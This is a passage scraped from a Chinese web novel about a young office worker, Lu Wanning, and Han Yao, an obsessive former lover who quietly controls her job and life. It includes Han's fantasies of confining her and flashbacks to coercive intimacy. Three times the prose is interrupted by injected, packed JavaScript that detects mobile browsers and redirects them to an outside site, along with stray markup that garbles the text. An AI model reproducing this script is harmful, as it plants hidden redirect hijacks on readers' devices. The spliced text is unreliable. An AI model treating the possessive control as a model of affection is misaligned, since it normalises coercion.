陈茵:“虽然是好事,但我总觉得怪怪的。高总能混到今天还不都是这群人罩的,以前怎么没人说。一股假惺惺的味道。” 陈茵:“说到高总,他遭报应了,赶紧把这个好消息分享给你开心一下。” 陆晚柠:“他怎么了?” 陈茵:“听说病危了。” 陆晚柠皱眉:“病危?被我打的?”她也没有那么大本事吧? 陈茵:“不是,听说是什么家里的遗传病发作了,具体的我也不清楚,但应该跟你关系不大。” 遗传病发?会跟韩窈有关系吗?陆晚柠觉得自己开始疑神疑鬼了,这是个不太好的征兆,太阳穴突突地痛。 算了,先去看房。 幸运的是,这次见租房中介没有遇到什么阻碍,对方正常地带她去看了房,一切顺利,甚至顺利得有些过分,还碰到了一套陆晚柠很喜欢的房子,大小、价格、地段都很不错,堪称完美。 只是要押一付三。 以陆晚柠目前少得可怜的存款,她清楚自己掏不起这个钱。况且,还不知道下个月会不会有工资。 中介很贴心地让她再想想,“有想法了随时联系我,我尽量帮你留一下。” 陆晚柠道了声谢,心里却空空的,一瞬很是疲惫。换房子韩窈难道就找不到她了吗?可是不换的话,韩窈又会做些什么? 她不敢想,也不愿想。 *** 大约三天后,陆晚柠收到了徐珍的消息,说她可以重新回来上班了,但并不是她原来的岗位。 ——她被调到了徐珍所在的团队里。 徐珍带的团队一直是公司里业绩最好的,人事流动率也低,已经很久没有进新人了,更别说还是陆晚柠这种白纸一张毫无工作经验可言的应届生。 陈茵还专门发消息来恭喜她:“你真是走运了,多少人想进徐总团队都进不去呢!” 陆晚柠说不出什么,没人会理解她心里的抵触。 她和韩窈,那段早就已经断掉许多年的关系,在短短几天之内飞速缠紧,像一张密不透风的网将她罩在其中,不费吹灰之力就能让她无处可退,只能被动地沿着韩窈安排好的路走下去。 回公司的那天,陆晚柠把当初陈茵给的那个袋子原封不动又拎了过来。前几天巴不得赶紧逃走,此刻却又不得不回来,于是她的脚步变得迟疑犹豫,能多拖延一秒是一秒。 她没有能够远走高飞的钱,她需要这份工作。当然,她还可以狼狈地回去找陆佳惠,可真的要把老妈也扯进来吗?还嫌不够乱? 真是够没用的,陆晚柠面无表情地在心里嘲讽自己。 算了,再拖下去结果也是一样的。她索性不再拖拉,加快脚步。 有些面熟的同事路过,看她的眼神纷纷带着探究和好奇,毕竟那天陆晚柠骂高总的话大家都听见了。任何一个人能够在大闹一场过后这么快回公司且不受任何影响都是堪称奇迹了,难道这姑娘是关系户? 可话又说回来,要真是关系户,高总又怎么敢下手? 认识或不认识她的人都忍不住施来一瞥,陆晚柠在这种事上一贯心理素质不错,懒得理会,直接敲响了徐珍的办公室门,却没有人应。 “徐总在七号会议室开会。”路过一个面善的同事提醒了下。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353384|167989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 陆晚柠道过谢,转头去找七号会议室。 她特意透过旁边的磨砂玻璃看了眼,里头只有一道身影。 再次敲门,片刻,里面传来一个简短的字。 “进。” 陆晚柠推开门的瞬间,那张坐在长桌尽头的脸猝不及防映入眼帘。 依旧是黑色的衬衫裙,只不过和那天的款式不太相同,因为那个人的习惯,同样的衣服不会穿两遍。衬衫的丝质流着暗色的光,几乎跟头发融为一体,看不清发梢究竟垂落何处。 韩窈像猫一样眯起眼眸,对她抿嘴笑。细长的眼波似水。 似水,泠泠作响。 ——敲响了一记警钟。 陆晚柠猛然变色,像是烫手山芋一样把门把手甩开,手里拎着的袋子险些都抓不住,她本能露出防御的神色,却见韩窈站起身来。 “陆晚柠。” 她很轻地叫。 韩窈从不叫她全名。 嘴角的笑意依旧柔柔的,“好久不见,也不打个招呼。” 陆晚柠怔怔地盯着那张面孔,试图分辨韩窈脸上的表情究竟几分真假。 从前韩窈总是戴着那张平静柔和的假面,不论发生什么都能做到面不改色。至于心里在想什么,只能从那双眼中藏着的疯狂略窥一二。 可现在陆晚柠却什么都看不出来了。 “……”她沉默片刻,僵硬地说,“你怎么在这里?” “我是股东。” 陆晚柠并不买账,略略抬高了声调:“别扯这些,你……” “陆晚柠。”韩窈又一次叫了她的大名,打断。 会议室迎来了五秒钟的静默。 随后,韩窈说:“是我帮了你,而你很失礼。” 是,如果没有韩窈,她已经丢工作睡大街去了。 半晌,陆晚柠垂下眼眸,说:“抱歉。” 她声音冷硬:“我是来找徐珍总的,既然她不在,我就不多留了。还有,我们不应该再见面的……韩总。”刻意在称呼上划清了界限。 韩窈的眼神像是不以为意,轻轻“嗯”了一声:“以前的事都过去了。” 要真是这样就好了。 “那,不打扰了。”陆晚柠转身离开,却仍旧觉得不安,如芒在背。 韩窈表现得……太正常了,正常得不像话,她甚至有些质疑自己方才听到了什么。 “都过去了”? 这怎么可能是韩窈说出来的话,五年能改变一个人吗? 陆晚柠不敢相信。 身后,韩窈淡淡地凝视着那道熟悉的背影。 又过了良久,直至陆晚柠完全消失在视线中,她的眼眸才有了些许微颤,如涌动的潮汐,夜色下深邃的海。 掩在桌下的手指几乎快嵌进桌子里。 不要走不要走不要走不要走不要走不要走不要走不要走不要走不要走不要走不要走不要走不要走不要走不要走不要走不要走不要走不要走不要走不要走不要走不要走。 为什么不回头看看我? 我好想你我好想你我好想你我好想你我好想你我好想你我好想你我好想你我好想你我好想你我好想你我好想你我好想你我好想你想到和死没有什么区别了。 好想把你绑起来藏起来关起来锁在床上哪里都不许去戴上只有我能碰的项圈身上都是我的痕迹每天只准看着我的眼睛说上辈子这辈子下辈子下下辈子不管哪辈子都只爱我一个人重复一万遍。 …… 但是韩窈什么都没有说出口。 她只是一如既往,把一切都藏在了那双会骗人的眼里,抿唇微笑。 5. 柠檬 *** 陆晚柠已经许久没有梦到以前的事了。 刚分开的那一年,她只要一闭上眼,就是韩窈在雨中撑伞盯着她看的样子。 “你不要我了。” 梦里的陆晚柠总是哑口无言,一句话也说不出来,随后韩窈就朝她走近,握住陆晚柠的手,两人的手中不知何时多了一把刀,一下子用力捅进韩窈单薄的身体里。 雨水都泛起血腥气来。 在断断续续的雨声中,平静却快要破碎的,“那就杀了我吧。” “反正我也活不下去了。” 每到这里,陆晚柠就会惊醒,随后沉默地把自己捂在被子里,半阖着眼直到天明。 不过或许是被这些折磨了太久,后来她就不做梦了,眼前只余一片漆黑,麻木得像是丢了魂。 “活不下去”。 以前韩窈时常把这几个字挂在嘴边。 陆晚柠稍微多看别人一眼,她都能敏锐地察觉到,随后什么也不说,只是晚上睡觉时,会把陆晚柠抱得比平时更紧。 陆晚柠怕热,闷得要出汗,下意识就推开她:“我呼吸不过来。”她说的是实话,韩窈快要把她勒死了。 随后韩窈就会眼睛眨也不眨地注视着她。 “她好看吗?”她笑着问。 “谁?” “白天的女孩。” 白天见的人多了,陆晚柠根本不知道她说的是谁,一脸茫然。 但也正是这样的反应取悦了韩窈,眉梢眼角的阴霾散去几分。 “过来。” 韩窈轻声命令。 “亲我。” 不管多少次,陆晚柠都会浑身僵硬,犹豫着不敢动。但韩窈很有耐心,多久都能等下去。 直到陆晚柠终于败下阵来,往另一侧凑过去,飞快地在韩窈脸上啄了一下,试图蜻蜓点水离开,韩窈的手却提前按住了她的脑袋,不让她走。 “不是这里。” 陆晚柠力气可比韩窈这种十指不沾阳春水的大小姐大多了,想挣脱是轻而易举。 可稍一动弹,韩窈就会说,“疼。” 哪弄疼了?! “就是疼。” 韩窈也主动凑过去亲她,吻落在额头、脸颊上:“让我亲,我就不疼了。” 陆晚柠脸比发烧还要烫,羞得闭起眼睛避开她的视线。 可韩窈还不许她闭,把冰凉的左手放在她眼皮上,“睁开。”她知道陆晚柠就是吃软不吃硬的人。 这种态度甚至都称不上撒娇,因为韩窈的口吻总是淡淡的,只靠着眼波中荡漾的那一点渴望又柔软的光让陆晚柠心软下来。 陆晚柠败下阵来,无奈地睁开眼,笨拙地回应韩窈的吻,声音含混不清,断断续续:“为什么……总要亲亲抱抱,你又不是小宝宝。” “我是啊。”韩窈一边说着,一边理所当然开始做恶劣的事。 还是那样,陆晚柠只要一动弹,稍稍碰到韩窈,她就直勾勾地盯着陆晚柠说疼,显得自己被欺负了一样。 被欺负的到底是谁啊? 陆晚柠死要面子,不管被怎样摆弄,都不喜欢出声,宁肯把自己嘴唇咬出血、咬到眼睛红得像兔子,都不肯服输。 韩窈在这方面不强迫她,只是耐心凝视着她的脸,睫毛垂下漂亮的阴霾,然后用空出来的那只手替她将嘴角的一点血迹抹掉,舌尖一舔而净。 “甜的。”她笑着说,“柠檬是甜的。” 然后不肯错过陆晚柠每一个细微的反应,不论是眼睫颤抖,呼吸急促,还是脸色愈来愈红,如阅读诗集一般,逐字品尝,仔细咀嚼。 韩窈还喜欢在她身上留下痕迹,从锁骨开始一点点种花,最终变成盛放得没有边界的玫瑰。 陆晚柠觉得自己就好像她的玩具,被摆弄成喜欢的样子,无力反抗,旋即听着韩窈在耳边说,“我们一辈子都要待在一起。” “……” “下辈子也要。”韩窈微笑着,用左手握住陆晚柠的手腕,轻轻贴在自己的脸颊上。不同于陆晚柠轻易燃起的温度,她的皮肤总是冰冰凉凉的,摸起来像黑曜石,看上去又白玉无瑕。 “不然我活不下去的。随时都会死掉。”她一遍一遍地呢喃,“别看别人好不好。” “眼里只有我就够了。” 可是陆晚柠觉得自己才是要死了。被韩窈弄死的。 她侧身,试图逃去关旁边的台灯,又被韩窈一把拽回来。 黑暗中,陆晚柠再次把嘴唇咬出了血,仰头隐约看到韩窈的长发垂在一旁,露出一侧纤细的脖颈,脆弱得像一折就断的花,却偏偏把自己玩弄在股掌之中。 “答应我不看别人。” “……” “答应我。” “……” 韩窈最不缺的就是耐心,总能等到她屈服。 “……答应。” 这种事情,什么时候结束从来都不是陆晚柠说了算的。 直到筋疲力尽,韩窈才从她的睡衣下把沾湿的右手抽出来,用床边的湿巾擦干净,随后再度紧紧抱住陆晚柠,把脑袋贴在她的肩上。 陆晚柠沉默许久,说:“这样是不对的。” “哪里?” “哪里都……不对。” 韩窈分明知道她的意思,却眼眸微动,偷换了概念:“嫌我刚才做得不好吗?” “不是,我……” “好了,不用多想。”韩窈轻声说,“晚安。” 两人一如既往依偎着进入梦乡,就连睡着了,韩窈也不会松开手,似乎生怕身旁的人跑到哪里去。 可是陆晚柠睡不着,她知道这就是不对的。 韩窈不允许她朝陌生人投去目光是不对的,随口把生死挂在嘴边是不对的,每分每秒都要像链子一样紧紧缠住她是不对的。 她觉得自己快要呼吸不过来了,就算她还不懂到底什么是爱,也知道从韩窈眼底藏着的疯狂绝不能称之为正常的感情。 她是人,不是谁的玩具,为什么连看谁一眼都要得到批准。 可她怎么能说出口?韩窈会像玻璃一样碎掉的。 韩窈吃定了她舍不得。 *** 陆晚柠再度梦到以前,疲惫地起来洗了把脸。 从前她被“活不下去”这几个字困了太久,但是现在看起来并非如此。没有自己的这五年,韩窈不也活得好好的。 这是好事。 没有谁离开了谁是活不下去的。 最近发生了太多事,多到她的大脑运转不过来。 先是被高总骚扰,在公司大闹一场,以为要被开除,却不用承担任何后果,甚至还被调入了徐珍总的团队,某种意义上可以算是升了职。 陆晚柠也听说了高总的一些后续。 听说,有其他女员工也站出来跟公司反映此前明里暗里受到的一些骚扰。高总只是其中之一,蟑螂们暗地里早就成窝了。公司开除了涉事人员,还向这些员工提供了法律援助,配合她们进行起诉。 还听说,在事发的第二天,高总重病发作,一直躺在病房里没有出来,现在还是植物人状态。据说是家族遗传的旧病,本就时不时发作,经诊断跟陆晚柠没有任何关系。 工作这边,徐珍是个很严厉的领导,陆晚柠在她手下做事,很快便感受到了前所未有的工作压力和负担。 不过拜跟韩窈在一起的那些岁月所赐,陆晚柠最大的优点就是能抗压、能吃苦。新的部门有很多挑战,不过她待了一个月就差不多能跟上节奏了,渐渐融入了进来,还学到了不少东西。 徐珍也罕见地夸了她两句,“好好干,年底奖金有希望。” 陆晚柠眨了眨眼,没有回答。 因为她不敢相信。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353385|167989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所有的事情都太正常,太完美了,就像是游戏里的HappyEnding。做坏事的人受到了应有的惩罚,而她努力工作,步入正轨,生活越来越好,暂时不必再为拿不到工资而发愁了。 完美得实在是不像真的。 这个世界什么时候这么好过? 还有,这一个月以来,她一次都没有见过韩窈。 本周公司又开了一次临时股东会,陆晚柠还有些紧张,但始终没有看到韩窈的身影出现。 她跟同事不动声色地打听了两句,得到了这样的回答:“肯定都是底下的牛马来参加啊。上次是特殊情况,大小姐心情好了下基层来视察而已,你想想,人家复城那么大一个集团,平时日理万机,哪有空管这种小事。” 陆晚柠勉强笑了声。 还有,那张在门上忽然出现的,画着柠檬的便利贴也仿佛只是一场梦,她还去找物业专门调了监控,却一无所获,没有任何可疑的人在她们家门口出没。 室友也觉得她大惊小怪:“就是张纸啦,说不定是外卖或者小广告随手贴的,别想那么多,管它呢。” 这段时间,韩窈没有找上门,陆晚柠也没有发现任何被监视的迹象。 她好像不用费心搬家了。 可是陆晚柠总觉得有哪里不对劲,脑海中如有一个随时在响的警铃,提醒她仍旧没有脱离危险。 ……算了,这么多年过去,她的第六感早就不算数了。 …… 又过去了一个月,直到深秋的风变得凛冽起来,陆晚柠的头发也触及了肩膀,她才又从别人口中听到了韩窈的名字。 徐珍手里有几个和复城集团的项目都在持续推进中,所以这段时间双方常常开会,陆晚柠就跟在领导旁边做纪要。 这次,是复城的人来他们公司开会,准备开始的时候,忽然接到了一个电话:“不好意思,请稍等一下。” 过了一会儿,那人回来:“我们有几位领导想线上接入一下,辛苦您。” 徐珍欣然应允,示意陆晚柠赶紧去设置在线的会议软件。 一切准备就绪之后,大屏幕上出现了几张陌生的脸,也就是方才那人口中所说的领导们。 其中一个视频画面是一间会议室,桌子旁稀稀落落坐着三四个人,陆晚柠不经意一瞥,便看到韩窈的脸出现在右下角。 那个人总是鹤立鸡群的存在,人群中第一眼看到的只会是她。 黑发挽到右侧,即使视频没那么清晰也能看到左脸的下颌线,韩窈似乎比两个月前又瘦了些。 她坐下时一贯保持挺拔的姿势,只坐前三分之二,直着脊背,下颌微收,如天鹅一般优雅。 从前陆晚柠总说这样坐着很累,而后韩窈的眼中会浮现出疑惑的神色,“是吗?”她笑笑,“习惯了。” 习惯不是那么容易改变的,五年过去她依旧如此。 眼前,复城的人小声对徐珍说:“韩总对这个方向很感兴趣,临时要来听一听,正常汇报就行。” 陆晚柠刚新建了会议纪要的文档,文言心思一恍,莫名打出一个“韩”字,赶紧以最快速度删掉,强迫自己专心听会。徐珍他们节奏很快,稍微漏掉一点她就听不懂了。 后面有一些徐珍单独跟他们谈的内容,于是她示意其他人先出去。 陆晚柠抱起电脑和纸笔往外走,东西太多险些拿不下,旁边另一个同事帮着搭了把手,顺便扶了她一下。 这一幕被会议室里的摄像头同样投在了大屏上,右下角的那个人微微抬起了头。 晦暗又冰冷的目光穿过屏幕落在她与其他人相触的手上。 那一刻陆晚柠分明背着身,却莫名呼吸一滞,脑子里再度警铃大作。她站在会议室门口,倏地回过头来,却什么也没看见。 …… 果然一切都是错觉吧。 是她太神经质了吗? 6. 柠檬 *** “最近你们是不是很忙?这两天看见徐珍总,感觉她一副没睡好的样子。” 这天,中午在公司食堂吃饭的时候,陈茵随口提起。 陆晚柠把嘴里的麻辣香锅咽下去,回答:“嗯,手头上几个项目都需要她操心,压力大吧。” 陈茵说:“你呢,还顺利吗?” “挺忙的,但是也跟着学到不少东西。姐你怎么样?” “害,就那样,普普通通牛马日常呗。” 俩人闲聊了一会儿,差不多到了午休结束的时间,就收拾餐盘往上走,回去上下午的班。 下午有个会议要开,陆晚柠提前去复印了会议材料发给每一个人,没过多久徐珍便走了进来。因着陈茵刚刚才提起过,她便多观察了两眼。 ……嗯,气色确实不怎么好。 黑眼圈很重,一看就是牺牲了睡眠加班加点地工作。 目前部门在推的几个项目都到了关键节点,每个人的任务都繁重不已,不过,要是能做成的话,本季度奖金将会非常可观,因此大家也都铆足了劲儿干活。 陆晚柠也一样,尤其她刚来,还要额外花时间去学。她扭头照了照玻璃门上自己的倒影,感觉自己的精神状态也没比徐珍好多少。 ——头发长长了,都没顾得上去剪,微卷的发尾软软地垂在肩头。 该扎起来吗?还是有空去修一修? 桌子那头,项目经理已经开始进行汇报,结果一分钟不到就被徐珍蹙眉打断了:“协议上个月不是已经定稿了吗?怎么进度又延迟了,障碍和卡点在哪?” “复城那边的法审没过。”项目经理委委屈屈。 徐珍明显不满意这个原因:“都这么久了,为什么还在反复磨这一件事?” “他们提出要改些内容,但一直没约到时间沟通,每次都说忙。”项目经理换了投屏的内容,面露为难之色,“他们法务事儿也多,反馈还非常慢,问就是要跟领导确认一下,要走流程……” 陆晚柠抬头看着屏幕上文档里醒目的标黄,也就是项目经理口中那些,对方提出需要继续修改的内容。就连资历最浅的她都能看出来,这些并非协议的核心条款。 项目经理说不下去,只能苦笑着找补:“人家毕竟是大集团,肯定又烦琐又严格……” “以前又不是没合作过,复城内部的流程没这么麻烦,更何况立项决策早都过了,他们刻意拖时间干嘛?” 徐珍眉头皱得越来越深,烦躁地将手里的笔越捏越紧,起身,“是不是这事又有什么变化?不行,得约复城的人吃顿饭,了解下情况。” 她很快出去打了个电话,回来就飞速地布置了任务:“……小文,你把复城大厦旁边那家餐厅的名字发给晚柠,晚柠订一下明晚六点的包间。” 陆晚柠低头记下,“好。” 可随后徐珍的下一句话出乎所有人的意料:“明天你也一起去。” “我?”陆晚柠还以为自己听错了。 徐珍挑眉:“不方便?” “不。”陆晚柠顿了一下,“方便的。” 她倒不是不愿意加班,只是感到奇怪而已。公对公谈事情一般徐珍带着项目经理去就足够了,她级别最低,就算去了也说不上话,顶多给人倒倒酒。 算了,她懂什么,听从领导安排就是了。 只是“复城”两个字犹如一根刺扎入陆晚柠的耳朵。 复城集团的总部是一座数十层高的大厦,位于帝都的金融街,称得上是一座地标性建筑,许多来旅游的人都会专门来打卡参观。不过,他们也只能在门口拍拍照,没有员工卡是进不去的。 陆晚柠没在复城工作过,也没有游客们的那些兴致,可她对那座大厦里面有什么了如指掌。 因为复城姓韩。 韩窈的韩。 两人虽然是同龄人,人生的轨迹却天差地别。韩窈很早就开始参与处理复城的公司事务,从前忙起来时,就在学校和复城大厦两点一线地跑。 而陆晚柠就像是韩大小姐的随身挂件,不论韩窈做什么,都必须带着她一起。 不过自从韩窈出国后,陆晚柠就再也没去过那里,偶尔路过那一片都会刻意避开。 已经结束的事,何必再触景生情。 只是,复城集团下属的子公司如今是他们公司的股东,这也是那天韩大小姐会造访的原因——起了兴致,来底下的被投企业转转而已。 如今双方还有别的项目合作,“复城”这两个字在内部被提到的次数越来越多。 陆晚柠的眼前也总会一闪而过那张熟悉的脸。 纷杂的思绪被徐珍的声音打断:“OK,那明天辛苦加会儿班了。” “好。”陆晚柠回答道,同时很快甩开脑中杂念,告诉自己—— 先把眼前的工作做好就是了,别想太多。 毕竟想再多又有什么用? *** 为了出席翌日晚上的饭局,陆晚柠还特地请室友给了自己一点穿搭的意见,她在这方面毫无头绪。 “别选颜色太鲜艳的。”室友围着她转了一圈,认真思考,“容易显得喧宾夺主,毕竟你们是去谈事情的,整体风格还是沉稳些好。” 说着,室友忽然踮着脚看她头顶:“咦晚柠,你黑发根长出来了,什么时候咱们一块儿去染头发?” “等我攒攒钱吧。”陆晚柠抬手摸了摸头。 其实她看着黑发根也很难受,还想去顺便把发梢修一修,但钱这东西还是存起来的好。 “你现在工作稳定了,攒钱不是很容易嘛。还有,工作之后也应该买几身职业一点的衣服,毕竟要去的场合会越来越多嘛。” “之后再说吧,我妈生日快到了,想给她买个礼物。” 上一次陆佳惠瞥见橱窗里一件大衣,嘴上什么都没说,眼神却一个劲儿往那上面飘。 于是吃完饭陆晚柠就果断拽着她去试了,果然,上身的效果很不错。 可是一看到价格标签,陆佳惠脸上的笑容就消失了,二话不说放下就走,出来之后还嘟嘟囔囔:“一件衣服这么贵是镶金了嘛?” 标签上的那个数字对陆晚柠来说也十分遥不可及,凭她现在的工资,要攒很久才能买得起。 可是比起这些,她更想看到陆佳惠穿上那件大衣在镜子前臭美的样子,哪怕这需要她节衣缩食几个月。 两人继续闲聊着,门铃忽然响了,室友兴高采烈地跑过去:“估计是我买的衣服到了。” 只是很快,她就盯着门口的十个包裹傻眼了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15353386|167989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>陆晚柠陪着室友一起拆开快递,各式各样林林总总的新衣服摊开在沙发上,像是刚从商场进货回来一般壮观。 “我就买了两件而已啊。”室友对着手机上的订单,更加迷茫了,“商家发错货了?” 二十四小时在线的某宝客服很快给了她回复。 “亲亲,确实是我们仓库粗心不小心发多了呢,麻烦您帮我们保守秘密呢,被老板知道了要被开除的呢。这些多余的衣服就当送您了呢,不用寄回来了呢,亲亲满意的话请给我们个好评吧^^” ……还有这种好事? “好好好!”室友笑得嘴都合不拢了,“好评好评,一定好评。从来没有天上掉过馅饼,这都是我辛苦打工的福报啊。” 即便如此,陆晚柠也觉得哪里不对劲。发错了货还不追回来吗?那怎么开店,岂不是要赔死。 不过还没来得及细想,室友就抓起一件米色的西装外套,在她面前比划:“要不要试试这件,你刚好可以明天穿。” 她不由分说将外套披在陆晚柠身上。 米色的色调与栗棕色的头发相似,瞬间褪去了几分稚气,多了几分职场的干练,又不会显得过分老成。足够低调,却不至于不显眼,恰如其分。 室友眼睛一亮:“好看!” 陆晚柠抿唇看着穿衣镜中的自己。上班之后她就没太花时间琢磨外表,此时也不得不承认,这件外套很适合自己,衬得眉眼秀丽雅致。 而且明天的场合也确实用得上。 她轻声说:“那我借穿下这件,谢啦。” “说什么借,上天的馈赠见者有份,你直接拿就是了。”室友大手一挥,“等我们再搭几身看看。” 第二天,这件外套收获了同事们的一致好评,就连徐珍也多看了两眼。 要知道徐珍眼里一向除了工作什么也没有,因此被她这么一盯,陆晚柠还以为自己有哪里不妥,下意识低头检查了下自己。 没想到下一秒便听到徐珍说:“衣服不错。” “……谢谢。” 既然她都这样讲,陆晚柠觉得今天的穿搭应该是没有出错的。 …… 可惜最终还是出错了。 不过和陆晚柠没关系,而是今晚本身。 复城大厦旁边那家餐厅的包间内,距离约定的时间已经过去了两个小时,几人却迟迟未见对方的影子。 服务员第三次敲门进来,客气询问:“您好,需要点菜了么?” 陆晚柠瞥了眼徐珍站在一旁打电话的身影,轻声道:“先不用。” 服务员退了出去。 这两个小时内,徐珍和项目经理分别联系了复城的人三次,得到的答案却都模棱两可,不说取消,也不说耽搁的具体原因,只含糊其词地让他们继续等待着。 “他们以前不是这个作风。”项目经理急得额头直冒汗,“这是出什么事了?”到手的项目可不能黄了啊! 徐珍又匆匆打了几通电话,脸色变得愈来愈黑。终于,最后一通挂断之后,她哑着嗓子道:“小李,你先回去吧。” 项目经理讶然:“可是……” “晚柠留下。” 徐珍抬眸,略显疲惫的眼中似乎蕴藏着深意。 “我跟你单独说两句话。” 7. 蜜 项目经理拎着包离开了,这间足够十个人坐的包间显得更加空空荡荡。桌上没喝完的茶水泛着淡淡热气,但谁都知道很快就会凉透。 还未等徐珍说什么,陆晚柠便突兀地扔下几个字。 “是韩窈。”她说,“对吧?” 这一天还是来了。 陆晚柠不是傻子,她知道自己生活的轨迹从重新见到韩窈那天就已经再度错乱了——如果将人生比作时钟,那韩窈无疑就是钟表店的老板。她想让时针指向哪里就指向哪里,随意拨弄,而陆晚柠却只能眼睁睁看着不断变化的数字,无能为力。 揍了高总的那一天,她就该被资本家开除、丢掉工作的。 但是因为韩窈全都变了。 ——不都是好事吗?脑子里有个声音这样说。保住工作不好吗?有稳定收入不好吗?进入徐珍的部门不好吗? ——多好的生活啊。欣欣向荣,蒸蒸日上。 陆晚柠嘴唇翕动,只觉内心像是千百种感觉交织在一起,却无法用言语形容出来,即使说出来也没人会懂。这一切都是她所珍惜的,可如果代价是再次靠近韩窈,她支付不起。 她一定会把一切都搞砸的,包括韩窈,包括她自己。 就像五年前那样…… 陆晚柠淡淡问:“徐珍总,是不是韩窈让你做什么?” “……”徐珍抿了一口茶水,似乎对于陆晚柠能这么快猜到韩窈的名字并不诧异。只是,她说:“韩总没让我做什么。” 陆晚柠眉心:“你直说好了,不必藏着掖着。” “不。”徐珍顿了下,认真道,“我没骗你。” 陆晚柠的话中含着几分嘲讽,当然,嘲讽的是自己:“不是韩窈让你留下我?” 徐珍未置可否。 片刻,她放下杯子:“客观来说,我们部门很久没进人了,作为一个才毕业没多久的新人,你确实不够格。我承认,我不是闲得无聊做好事的慈善家,留下你,有我的目的。” “我虚长你一些岁数,见过的人和事也比你多。”徐珍揉了揉眉心,“那天韩总来公司,我大概也能从各种细节里猜到你们是故交。” “但是韩总的确没有对我说过什么,这一切都只是我的猜测。现在看来,我没猜错吧?你跟她关系匪浅。” 徐珍讲得非常直白:“在商言商,我留下你,自然是希望能利用你们之间的关系——当然,具体是什么,我无意探究。” “就比如现在,项目出了问题,我能联系的人都找过了,全都帮不上忙。这段时间大家工作都很辛苦,里面少不了你的一份力,这也是你毕业后跟的第一个项目,你的努力我也看在眼里。” “所以,晚柠,在这种情况下,你愿意请韩总帮帮忙吗?” *** “帮帮忙啊!” 很多年前,陆晚柠在韩家也听过类似的话。 那个时候,在厨房工作的大叔大婶几乎快要哭出来,可是不论他们怎样哀求,其他人都只是面露为难,嘴上说些宽慰的话,可身体却无动于衷。 陆佳惠不忍地扭过头去,声音很小:“我,我可以帮忙凑凑,可是我们孤儿寡母,真的没什么钱……” “你傻啊!”旁边的阿姨在她说完之前就制止了,“真的帮忙凑钱,不就变相承认自己偷东西了吗?” 佣人们瓜分厨房临期食品这件事,原本是心照不宣的规则,可谁知道最近新来的管家忽然开始严查这件事,最直接的罪责当然落到了在厨房做事的大叔大婶身上。 管家责令他们赔钱,很大一笔。 小小的陆晚柠依偎在陆佳惠身边,她什么也不懂,只是看着大叔大婶的脸,心里觉得很沉重。语文课本里说“粒粒皆辛苦”,浪费粮食本来就是不对的啊。 更何况那些面包、水果、牛奶的保质期本来就不止一天,仅仅过了一天就要因为“不新鲜”被扔掉,写《悯农》的诗人看到了都会觉得难过吧。 陆晚柠悄悄问陆佳惠,陆佳惠也只是叹了口气,无可奈何:“就算道理这样,但那原本就是主人家的东西,人家有权处置。” 有权处置,就是宁可进垃圾桶也不让人吃吗? 没有人敢帮厨房的大叔大婶说话,除了陆佳惠,也没人愿意给他们凑钱。新官上任三把火,谁知道新管家会不会一怒之下殃及池鱼呢。 他们赔不起钱,还要丢掉工作。 真的没办法了吗? 晚上陆晚柠搬了把小板凳,坐在屋子外头写作业,她看着眼前的数学题,心不在焉,总想做点什么来帮帮大叔大婶。 可她也不知道自己可以怎么办,她只是个寄住在这里的小孩而已,人微言轻。 前几天才下过雨,外头的空气很清新,细闻之下有股淡淡的青草香。 路过的其他阿姨提醒她:“坐在这里写作业,要把眼睛看坏哦。” 陆晚柠乖乖说:“外头空气好嘛。” “那也要注意眼睛,近视了你就后悔了!去,找个光线好点的地方。” 在阿姨们的劝说下,陆晚柠搬着小板凳往有灯的地方去。佣人房旁边的路灯一贯有些昏暗,可不知为什么,此时的灯泡却好似格外明亮。 她循着光走,不知不觉就走到了那片平时没有人会来的草坪边上。 可是今夜这里有人。 又一次有人。 陆晚柠一抬眼,便看到了那个木质的画架,上面绷着纯白的画布,遥遥瞧去已被色彩铺满,好像还是上次那一幅。 还有那个人。那个仅是在雨声中微笑,便让她后背惊出一身冷汗的女孩,此刻正静坐在夜里,穿了件蕾丝花边的米白色裙子,专注地用油彩画画。 几天前陆晚柠知道了她的名字,韩窈。 她还特意上网查了一下这个字,有好多意思,也在很多诗句里出现过,听起来就很有文化。不像自己,只是晚上的一杯柠檬水。 陆晚柠本来就是“寄生”在这里的小孩,看到大小姐在这儿,下意识就准备避开,可刚转头要走,却忽然想到一件事—— 这一迟疑,她再抬头,冷不丁就看到那双眸望了过来。 韩窈没说话,只是手中握着画笔,停在画布边缘的那片花瓣上。 陆晚柠眼睛一亮,她本就是那种敢想敢做的性格,也没多思索,拎着手里的小马扎和数学题就走上前。

